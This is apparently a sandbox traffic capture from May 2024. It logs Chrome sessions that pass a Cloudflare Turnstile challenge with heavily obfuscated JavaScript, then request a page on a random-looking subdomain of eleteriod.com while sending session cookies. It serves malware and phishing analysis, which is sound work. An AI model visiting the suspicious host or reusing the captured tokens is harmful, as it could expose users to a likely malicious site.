5d 3d 21 30 29 2c 4d 3d 44 2b 4c Data Ascii: Cp':function(O,P,iD){return iD=b,d[iD(2467)](O,P)},'dTmDG':function(O,P){return O-P}},i==null)return'';for(B={},C={},D='',E=2,F=3,G=2,H=[],I=0,J=0,K=0;K<i[iE(538)];K+=1)if(L=i[iE(1512)](K),Object[iE(2155)][iE(2543)][iE(588)](B,L)\|\|(B[L]=F++,C[L]=!0),M=D+L
2024-05-22 18:01:44 UTC	1369	IN	Data Raw: 69 45 28 36 32 37 29 5d 28 49 2c 31 29 7c 64 5b 69 45 28 33 30 39 30 29 5d 28 4e 2c 31 29 2c 64 5b 69 45 28 33 30 39 36 29 5d 28 4a 2c 64 5b 69 45 28 32 34 36 37 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 69 45 28 31 30 32 30 29 5d 28 64 5b 69 45 28 32 39 35 34 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4e 3d 31 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 69 45 28 32 33 35 34 29 5d 28 49 3c 3c 31 2e 37 31 2c 4e 29 2c 4a 3d 3d 64 5b 69 45 28 32 34 36 37 29 5d 28 6a 2c 31 29 3f 28 4a 3d 30 2c 48 5b 69 45 28 31 30 32 30 29 5d 28 64 5b 69 45 28 31 32 30 31 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 69 45 28 31 36 36 37 29 5d Data Ascii: iE(627)](I,1)\|d[iE(3090)](N,1),d[iE(3096)](J,d[iE(2467)](j,1))?(J=0,H[iE(1020)](d[iE(2954)](o,I)),I=0):J++,N>>=1,x++);}else{for(N=1,x=0;x<G;I=d[iE(2354)](I<<1.71,N),J==d[iE(2467)](j,1)?(J=0,H[iE(1020)](d[iE(1201)](o,I)),I=0):J++,N=0,x++);for(N=D[iE(1667)]
2024-05-22 18:01:44 UTC	1369	IN	Data Raw: 5d 28 32 2c 32 29 2c 46 3d 31 3b 4b 21 3d 46 3b 29 69 66 28 64 5b 69 49 28 31 31 36 30 29 5d 21 3d 3d 64 5b 69 49 28 31 35 31 34 29 5d 29 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 69 49 28 31 32 30 31 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 4f 3d 7b 27 57 70 65 6e 65 27 3a 66 75 6e 63 74 69 6f 6e 28 50 2c 51 29 7b 72 65 74 75 72 6e 20 50 28 51 29 7d 7d 2c 7b 27 74 68 65 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 50 2c 69 4a 29 7b 72 65 74 75 72 6e 20 69 4a 3d 69 49 2c 4f 5b 69 4a 28 31 31 31 33 29 5d 28 50 2c 46 29 7d 7d 3b 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 49 28 31 35 Data Ascii: ](2,2),F=1;K!=F;)if(d[iI(1160)]!==d[iI(1514)])L=H&G,H>>=1,0==H&&(H=j,G=d[iI(1201)](o,I++)),J\|=F*(0<L?1:0),F<<=1;else return O={'Wpene':function(P,Q){return P(Q)}},{'then':function(P,iJ){return iJ=iI,O[iJ(1113)](P,F)}};switch(J){case 0:for(J=0,K=Math[iI(15
2024-05-22 18:01:44 UTC	1369	IN	Data Raw: 48 5b 49 5d 2c 27 66 27 3d 3d 3d 50 26 26 28 50 3d 27 4e 27 29 2c 4a 5b 50 5d 29 7b 66 6f 72 28 51 3d 30 3b 51 3c 4b 5b 4c 5b 4d 5d 5d 5b 69 49 28 35 33 38 29 5d 3b 2d 31 3d 3d 3d 4e 5b 50 5d 5b 69 49 28 32 31 37 31 29 5d 28 4f 5b 50 5b 51 5d 5d 5b 51 5d 29 26 26 28 64 5b 69 49 28 31 32 30 31 29 5d 28 52 2c 53 5b 54 5b 55 5d 5d 5b 51 5d 29 7c 7c 56 5b 50 5d 5b 69 49 28 31 30 32 30 29 5d 28 27 6f 2e 27 2b 57 5b 58 5b 59 5d 5d 5b 51 5d 29 29 2c 51 2b 2b 29 3b 7d 65 6c 73 65 20 5a 5b 50 5d 3d 61 30 5b 61 31 5b 61 32 5d 5d 5b 69 49 28 38 37 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 61 36 29 7b 72 65 74 75 72 6e 27 6f 2e 27 2b 61 36 7d 29 7d 7d 2c 67 3d 7b 7d 2c 67 5b 69 41 28 31 31 33 32 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 66 49 3d 66 75 6e 63 74 69 6f 6e 28 66 Data Ascii: H[I],'f'===P&&(P='N'),J[P]){for(Q=0;Q<K[L[M]][iI(538)];-1===N[P][iI(2171)](O[P[Q]][Q])&&(d[iI(1201)](R,S[T[U]][Q])\|\|V[P][iI(1020)]('o.'+W[X[Y]][Q])),Q++);}else Z[P]=a0[a1[a2]][iI(875)](function(a6){return'o.'+a6})}},g={},g[iA(1132)]=f.h,g}(),fI=function(f
2024-05-22 18:01:44 UTC	1369	IN	Data Raw: 2c 43 2c 44 29 7b 6a 3d 28 6b 31 3d 69 7a 2c 69 3d 7b 7d 2c 69 5b 6b 31 28 32 38 39 32 29 5d 3d 6b 31 28 33 31 31 35 29 2c 69 5b 6b 31 28 38 31 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 69 5b 6b 31 28 32 37 39 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 69 5b 6b 31 28 32 35 36 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 7c 7c 46 7d 2c 69 5b 6b 31 28 37 37 30 29 5d 3d 6b 31 28 31 38 34 34 29 2c 69 5b 6b 31 28 38 37 30 29 5d 3d 6b 31 28 34 36 36 29 2c 69 29 3b 74 72 79 7b 66 6f 72 28 6b 3d 6a 5b 6b 31 28 32 38 39 32 29 5d 5b 6b 31 28 31 33 37 32 29 5d 28 27 7c 27 29 2c 6c 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 6b 5b 6c Data Ascii: ,C,D){j=(k1=iz,i={},i[k1(2892)]=k1(3115),i[k1(817)]=function(E,F){return E+F},i[k1(2798)]=function(E,F){return E+F},i[k1(2569)]=function(E,F){return E\|\|F},i[k1(770)]=k1(1844),i[k1(870)]=k1(466),i);try{for(k=j[k1(2892)][k1(1372)]('\|'),l=0;!![];){switch(k[l
2024-05-22 18:01:44 UTC	1369	IN	Data Raw: 2c 6f 29 7b 69 66 28 6b 33 3d 6b 32 2c 6a 5b 6b 33 28 31 32 34 32 29 5d 28 6b 33 28 32 34 39 36 29 2c 6b 33 28 32 34 39 36 29 29 29 66 46 5b 6b 33 28 32 32 37 33 29 5d 28 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 76 6f 69 64 28 6f 3d 7b 27 4d 70 6f 57 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 2b 76 7d 2c 27 4f 45 68 47 42 27 3a 66 75 6e 63 74 69 6f 6e 28 73 2c 76 2c 6b 34 29 7b 72 65 74 75 72 6e 20 6b 34 3d 6b 33 2c 6a 5b 6b 34 28 31 35 37 32 29 5d 28 73 2c 76 29 7d 2c 27 66 46 49 44 4d 27 3a 6b 33 28 32 32 32 30 29 2c 27 51 4c 4b 59 77 27 3a 6b 33 28 33 30 30 31 29 2c 27 58 73 68 42 65 27 3a 6a 5b 6b 33 28 35 36 37 29 5d 7d 2c 66 28 6a 5b 6b 33 28 32 38 33 33 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 73 2c 6b 35 2c 76 29 7b 6b Data Ascii: ,o){if(k3=k2,j[k3(1242)](k3(2496),k3(2496)))fF[k3(2273)]();else return void(o={'MpoWJ':function(s,v){return s+v},'OEhGB':function(s,v,k4){return k4=k3,j[k4(1572)](s,v)},'fFIDM':k3(2220),'QLKYw':k3(3001),'XshBe':j[k3(567)]},f(j[k3(2833)],function(s,k5,v){k
2024-05-22 18:01:44 UTC	1369	IN	Data Raw: 28 32 37 37 35 29 5d 3d 69 7a 28 31 36 32 34 29 2c 67 72 5b 69 7a 28 32 37 30 36 29 5d 3d 69 7a 28 32 36 39 30 29 2c 67 72 5b 69 7a 28 32 31 30 30 29 5d 3d 69 7a 28 31 35 30 30 29 2c 67 72 5b 69 7a 28 31 33 32 36 29 5d 3d 69 7a 28 31 30 38 37 29 2c 67 72 5b 69 7a 28 32 32 35 29 5d 3d 69 7a 28 31 30 35 31 29 2c 67 72 5b 69 7a 28 38 31 32 29 5d 3d 69 7a 28 32 32 34 36 29 2c 67 72 5b 69 7a 28 33 30 31 30 29 5d 3d 69 7a 28 31 34 31 35 29 2c 67 72 5b 69 7a 28 31 30 35 39 29 5d 3d 69 7a 28 36 34 36 29 2c 67 72 5b 69 7a 28 37 32 30 29 5d 3d 69 7a 28 32 30 34 33 29 2c 67 72 5b 69 7a 28 33 31 30 38 29 5d 3d 69 7a 28 31 33 35 38 29 2c 67 72 5b 69 7a 28 32 32 36 39 29 5d 3d 69 7a 28 32 38 34 37 29 2c 67 72 5b 69 7a 28 32 36 33 30 29 5d 3d 69 7a 28 34 38 30 29 2c 67 Data Ascii: (2775)]=iz(1624),gr[iz(2706)]=iz(2690),gr[iz(2100)]=iz(1500),gr[iz(1326)]=iz(1087),gr[iz(225)]=iz(1051),gr[iz(812)]=iz(2246),gr[iz(3010)]=iz(1415),gr[iz(1059)]=iz(646),gr[iz(720)]=iz(2043),gr[iz(3108)]=iz(1358),gr[iz(2269)]=iz(2847),gr[iz(2630)]=iz(480),g
2024-05-22 18:01:44 UTC	1369	IN	Data Raw: 69 7a 28 31 36 35 31 29 5d 3d 69 7a 28 31 31 30 34 29 2c 67 74 5b 69 7a 28 32 34 31 35 29 5d 3d 69 7a 28 32 34 38 34 29 2c 67 74 5b 69 7a 28 32 31 35 37 29 5d 3d 69 7a 28 32 39 34 31 29 2c 67 74 5b 69 7a 28 32 38 32 38 29 5d 3d 69 7a 28 33 30 34 36 29 2c 67 74 5b 69 7a 28 39 36 35 29 5d 3d 69 7a 28 32 39 39 39 29 2c 67 74 5b 69 7a 28 33 30 36 33 29 5d 3d 69 7a 28 32 33 31 33 29 2c 67 74 5b 69 7a 28 31 30 39 30 29 5d 3d 69 7a 28 36 36 35 29 2c 67 74 5b 69 7a 28 31 38 35 34 29 5d 3d 69 7a 28 38 36 31 29 2c 67 74 5b 69 7a 28 32 35 30 30 29 5d 3d 69 7a 28 32 33 36 31 29 2c 67 74 5b 69 7a 28 36 33 34 29 5d 3d 69 7a 28 35 33 34 29 2c 67 74 5b 69 7a 28 31 35 32 38 29 5d 3d 69 7a 28 31 39 35 35 29 2c 67 74 5b 69 7a 28 31 37 38 35 29 5d 3d 69 7a 28 31 32 30 34 29 Data Ascii: iz(1651)]=iz(1104),gt[iz(2415)]=iz(2484),gt[iz(2157)]=iz(2941),gt[iz(2828)]=iz(3046),gt[iz(965)]=iz(2999),gt[iz(3063)]=iz(2313),gt[iz(1090)]=iz(665),gt[iz(1854)]=iz(861),gt[iz(2500)]=iz(2361),gt[iz(634)]=iz(534),gt[iz(1528)]=iz(1955),gt[iz(1785)]=iz(1204)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49780	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:44 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:44 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:44 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 887eb695485142ec-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:44 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	59865	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:45 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:45 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:45 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 887eb699ba00c43b-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:45 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	59866	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:45 UTC	1338	OUT	GET /favicon.ico HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/k3hof49809/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkRYWmQ0TnFNcWw1UGMwek4zYWdZQ0E9PSIsInZhbHVlIjoibW5TdENxMXpQbUhWUVVVcWFXcFhUQmc3UXpacWhLZUVkV29iY2ovMjlMUEJNd2EwQjQwcTNYdGNuVnF2Q1locVlSQTgydjZlSGRwdGJib1lWelVBOE81YjBkeTU0emxQVDdhSGYxcE40eUpjOTRkTnZBb2tIU3BvQ3FVRmtlRjUiLCJtYWMiOiJjMTAyMmRkMjA3NTk3YjNhY2U0Zjg2YzE4ZGVjYjc2NWVlODEyMjk4NjcxYTQxZjI5MzIzMGJlNTY2NGMyNGZkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InAvcXlFODBrbkZ1bDA0NStDeUVvb1E9PSIsInZhbHVlIjoiRUJSSjdzaGRrMnVQS1hub1FrWHJ4aS83d3lKRGR6cE9ZeW9GeitWWXlPWXJuc25qZHg5MU56ZWdmMC96NmFRVUxMTGJvRHEraVpYSUoxZ2lEb2pjVmR1SW01T1U4OTJTVFBHMGdKeUtzak5RUjhGd0g4T2E2Q3ZydkV5UWpQdDUiLCJtYWMiOiI5NDE3NWJmYzMzMDUyNWRiNGY2OGZmNmM5MWJmMjU4OThhNjMyZjQyODllYWZlZDQ3ZGRhNGZmOWU0ZDQyNGM4IiwidGFnIjoiIn0%3D
2024-05-22 18:01:47 UTC	629	IN	HTTP/1.1 404 Not Found Date: Wed, 22 May 2024 18:01:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z%2F%2F8fwA2vqs0hV6X0YqxGjR8hNSV4ALUkWJ9ZqXpcwgvn3H2XftGw5hRayQGVWETcok%2BOJCsdFnBTe1MguSvFO6edSx8zGPhbbDQK0ZZAI9Pvf6EskfaNztiJqInHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: MISS Server: cloudflare CF-RAY: 887eb69c4a7e0f4f-EWR
2024-05-22 18:01:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	59867	104.17.2.184	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:01:45 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1805048405:1716398150:X45MG1wplxtOLBIWwajWeE9aw9tmayvdMiPEFXoWqXM/887eb68febf4728a/60ba1c6e58abf92 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2658 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 60ba1c6e58abf92 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/8xyog/0x4AAAAAAAawZipfMclJYEh2/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-22 18:01:45 UTC	2658	OUT	Data Raw: 76 5f 38 38 37 65 62 36 38 66 65 62 66 34 37 32 38 61 3d 77 68 34 62 4a 62 57 63 75 50 6c 67 34 56 68 48 32 35 75 45 75 24 75 61 62 48 79 62 46 57 78 2d 67 48 75 59 55 73 75 77 78 56 74 75 30 59 75 2d 6f 43 2d 62 75 25 32 62 75 50 75 43 62 55 30 46 48 6c 77 75 47 34 6c 4e 75 38 34 6c 45 7a 62 32 71 65 75 55 46 55 75 31 75 73 34 57 75 33 34 63 71 6f 75 58 62 47 35 75 7a 62 56 55 75 64 62 56 71 44 71 75 56 42 75 33 32 42 39 54 78 55 31 75 6d 46 46 45 76 70 61 61 77 74 50 71 75 55 4a 33 57 75 50 42 61 57 62 62 74 51 41 6a 6e 6f 46 5a 65 6d 56 6a 57 71 32 47 41 75 6c 34 4c 55 34 5a 63 71 75 56 46 75 35 68 75 45 62 75 59 75 53 53 41 56 53 6c 39 75 53 30 35 79 55 6f 61 38 35 62 5a 41 63 48 56 4e 51 46 59 72 75 55 75 6d 37 6f 6c 2b 64 2b 2d 34 6e 69 6b 4e 63 57 Data Ascii: v_887eb68febf4728a=wh4bJbWcuPlg4VhH25uEu$uabHybFWx-gHuYUsuwxVtu0Yu-oC-bu%2buPuCbU0FHlwuG4lNu84lEzb2qeuUFUu1us4Wu34cqouXbG5uzbVUudbVqDquVBu32B9TxU1umFFEvpaawtPquUJ3WuPBaWbbtQAjnoFZemVjWq2GAul4LU4ZcquVFu5huEbuYuSSAVSl9uS05yUoa85bZAcHVNQFYruUum7ol+d+-4nikNcW
2024-05-22 18:01:45 UTC	731	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:01:45 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 120892 Connection: close cf-chl-gen: g51qpjpwhp4Qg5F+JSEEX5lt4jgBVi8QZsx26TwqhLLCUeZA57M7pCHhLe9MC6HD20bcUfh47q/zQ5ksecVS0fkv3LzaIU3GLhYmEVelXTjebsibrj2HKZCFyhSdL0fXgoN62u9iA5u7ihPRY+FBAJJ/d2ZMCjOn5tcje5yDoFoB+VcLW1UrH94lPp9BBnOLXecVc3uHah4QuEx/ncgncpx4n7rzU0xRHBNy5R+eoRBYeaOnJzJeesRyXRR0q3DhwZ8jiEhVjg9cn/lGs2ZQB+fDfsU9DlSYBEcduERTMH80jAwVkAFvhIIU+74pBOOG24/HRmsUbSk+ks2rSwijE7+eBpJqN8YpCJbih6prAdPp88IOSgnm0niPl11vr8KR+UMvMJ09EIvT01w5jPbc8j4EaNoczLyJgdUZeh3f/SURj8WQDrxHXmpnJOXl5VodQ93JAcmImnV1zth/cdJlag==$aKbs0sCI03cda9rWDsO8dw== Server: cloudflare CF-RAY: 887eb69c5db34259-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:01:45 UTC	638	IN	Data Raw: 67 49 69 44 64 6c 52 76 57 6c 79 63 69 59 46 74 69 31 36 5a 59 46 39 39 6f 70 56 6e 62 4b 36 4b 6f 4b 71 4c 61 5a 2b 6b 62 4c 4f 4b 6b 37 4f 6c 6d 59 71 55 6c 58 69 5a 72 4c 65 6b 6b 37 43 77 70 71 4f 68 78 6f 61 68 70 62 61 34 72 63 69 52 73 49 2b 2f 6a 4b 2b 57 72 35 62 47 7a 4b 58 49 72 72 6d 70 7a 4c 4c 6b 78 72 7a 55 74 38 53 35 73 39 61 6e 76 72 66 61 71 39 43 71 34 73 54 50 73 66 50 78 36 38 6a 72 38 74 33 30 31 4d 2b 2b 41 2f 37 50 77 4d 55 41 2f 65 62 70 31 41 51 4d 35 51 45 4f 33 64 4d 43 43 4d 2f 34 35 76 72 35 42 39 51 56 43 77 45 5a 49 66 67 44 33 4f 50 6d 35 66 59 43 35 65 49 66 4c 77 67 6f 49 77 62 38 35 66 34 6f 4d 2b 30 4b 45 41 73 73 2b 43 59 63 4d 42 55 4d 46 7a 55 74 4d 79 67 78 4d 54 51 72 51 79 49 4f 4c 55 5a 4f 45 43 49 4c 45 53 31 Data Ascii: gIiDdlRvWlyciYFti16ZYF99opVnbK6KoKqLaZ+kbLOKk7OlmYqUlXiZrLekk7CwpqOhxoahpba4rciRsI+/jK+Wr5bGzKXIrrmpzLLkxrzUt8S5s9anvrfaq9Cq4sTPsfPx68jr8t301M++A/7PwMUA/ebp1AQM5QEO3dMCCM/45vr5B9QVCwEZIfgD3OPm5fYC5eIfLwgoIwb85f4oM+0KEAss+CYcMBUMFzUtMygxMTQrQyIOLUZOECILES1
2024-05-22 18:01:45 UTC	1369	IN	Data Raw: 35 4a 52 7a 52 45 64 57 64 30 54 46 68 71 55 57 34 39 59 58 78 78 4f 6b 52 70 59 57 42 59 66 49 64 69 67 5a 42 4f 66 6c 47 4e 54 5a 68 73 62 35 4b 62 63 6e 47 48 56 71 42 2f 57 58 4f 50 6e 33 4a 66 65 6f 43 42 70 4a 69 42 70 32 35 39 6e 36 71 44 6c 59 32 66 6b 36 32 46 70 4b 75 33 76 58 32 56 69 71 32 39 6e 37 53 69 6f 49 4f 49 71 6f 75 4d 72 4a 6d 4f 75 61 2b 4c 7a 72 37 45 79 37 43 57 79 37 4b 6b 6d 36 6d 63 30 4a 62 68 33 4e 79 33 35 4b 58 67 6f 4f 4b 38 35 37 75 35 37 73 76 47 76 63 61 76 34 4e 50 44 36 4d 7a 30 31 37 4f 33 2b 75 6d 38 36 65 41 45 76 65 54 55 77 4d 4c 47 76 2b 76 43 78 37 2f 66 7a 66 6e 66 34 63 7a 30 38 77 6a 54 31 68 6b 57 31 64 66 32 36 39 6f 4b 33 66 58 62 42 52 30 6b 35 4f 59 59 47 76 59 4c 44 4f 41 50 4c 77 54 72 2f 52 62 7a 38 Data Ascii: 5JRzREdWd0TFhqUW49YXxxOkRpYWBYfIdigZBOflGNTZhsb5KbcnGHVqB/WXOPn3JfeoCBpJiBp259n6qDlY2fk62FpKu3vX2Viq29n7SioIOIqouMrJmOua+Lzr7Ey7CWy7Kkm6mc0Jbh3Ny35KXgoOK857u57svGvcav4NPD6Mz017O3+um86eAEveTUwMLGv+vCx7/fzfnf4cz08wjT1hkW1df269oK3fXbBR0k5OYYGvYLDOAPLwTr/Rbz8
2024-05-22 18:01:45 UTC	1369	IN	Data Raw: 72 54 56 70 2f 57 46 35 51 65 59 4a 63 58 6b 6d 4c 61 46 68 6b 64 33 31 68 53 49 71 53 63 30 32 43 63 6f 4a 33 61 31 71 56 65 47 79 4c 63 49 2b 53 65 6c 2b 58 64 56 35 39 64 6c 79 4c 6c 70 75 4d 6e 58 2b 4f 6b 4b 53 6e 71 70 65 79 69 59 32 73 6b 33 53 4b 6d 61 31 2f 6d 6f 31 2b 65 35 71 75 6e 73 57 39 71 38 61 72 6f 37 6d 73 70 71 66 4e 77 61 71 65 7a 4b 6a 52 75 4b 53 6b 78 74 33 58 73 64 37 4d 73 61 47 31 70 62 50 63 35 61 65 68 75 4d 58 63 34 37 6a 6d 33 2b 4c 55 78 73 62 69 71 64 6a 53 2b 2f 57 38 76 4d 2b 78 33 2f 7a 54 33 74 73 47 2b 39 41 48 42 41 62 71 39 4d 59 4b 37 76 44 4c 44 73 6e 77 7a 4e 59 4e 42 64 44 5a 45 50 73 65 43 76 37 38 32 78 37 36 41 64 2f 6c 4a 52 58 67 36 67 73 4a 2b 67 73 4e 34 67 6f 73 49 51 73 32 39 43 50 30 4a 77 6f 4b 46 67 Data Ascii: rTVp/WF5QeYJcXkmLaFhkd31hSIqSc02CcoJ3a1qVeGyLcI+Sel+XdV59dlyLlpuMnX+OkKSnqpeyiY2sk3SKma1/mo1+e5qunsW9q8aro7mspqfNwaqezKjRuKSkxt3Xsd7MsaG1pbPc5aehuMXc47jm3+LUxsbiqdjS+/W8vM+x3/zT3tsG+9AHBAbq9MYK7vDLDsnwzNYNBdDZEPseCv782x76Ad/lJRXg6gsJ+gsN4gosIQs29CP0JwoKFg
2024-05-22 18:01:45 UTC	1369	IN	Data Raw: 64 56 5a 32 61 56 53 4c 64 6c 56 6c 61 57 4e 49 5a 6b 79 43 6c 48 4f 53 6b 6f 78 6f 59 6c 56 33 63 31 31 37 57 35 74 39 6c 4b 46 74 67 70 4a 33 5a 71 4b 62 71 61 75 5a 6e 4a 74 78 6d 36 6d 54 6b 49 4f 32 67 72 6d 74 6d 6f 32 7a 68 72 53 73 65 49 32 6a 66 58 65 5a 6b 61 57 37 77 4d 44 41 7a 70 61 70 70 61 6d 69 72 4d 32 55 72 38 76 4c 70 38 69 4e 30 4c 6d 37 6e 39 50 43 77 38 4c 4f 72 61 36 2b 34 4c 48 59 75 61 54 71 71 74 72 61 73 4e 76 4e 73 62 44 41 35 37 44 4c 73 4c 65 32 2b 39 43 37 33 4e 37 55 31 74 65 37 33 51 6b 49 76 39 7a 4a 44 4d 76 6c 36 67 72 50 41 41 33 67 44 78 48 72 7a 75 38 49 2b 64 67 59 38 53 44 67 46 2f 58 76 46 50 66 33 39 67 54 68 4b 77 33 65 47 67 37 76 35 78 7a 72 4b 2b 73 65 38 52 49 35 4f 54 67 35 44 42 49 4c 2f 66 30 63 4d 53 30 Data Ascii: dVZ2aVSLdlVlaWNIZkyClHOSkoxoYlV3c117W5t9lKFtgpJ3ZqKbqauZnJtxm6mTkIO2grmtmo2zhrSseI2jfXeZkaW7wMDAzpappamirM2Ur8vLp8iN0Lm7n9PCw8LOra6+4LHYuaTqqtrasNvNsbDA57DLsLe2+9C73N7U1te73QkIv9zJDMvl6grPAA3gDxHrzu8I+dgY8SDgF/XvFPf39gThKw3eGg7v5xzrK+se8RI5OTg5DBIL/f0cMS0
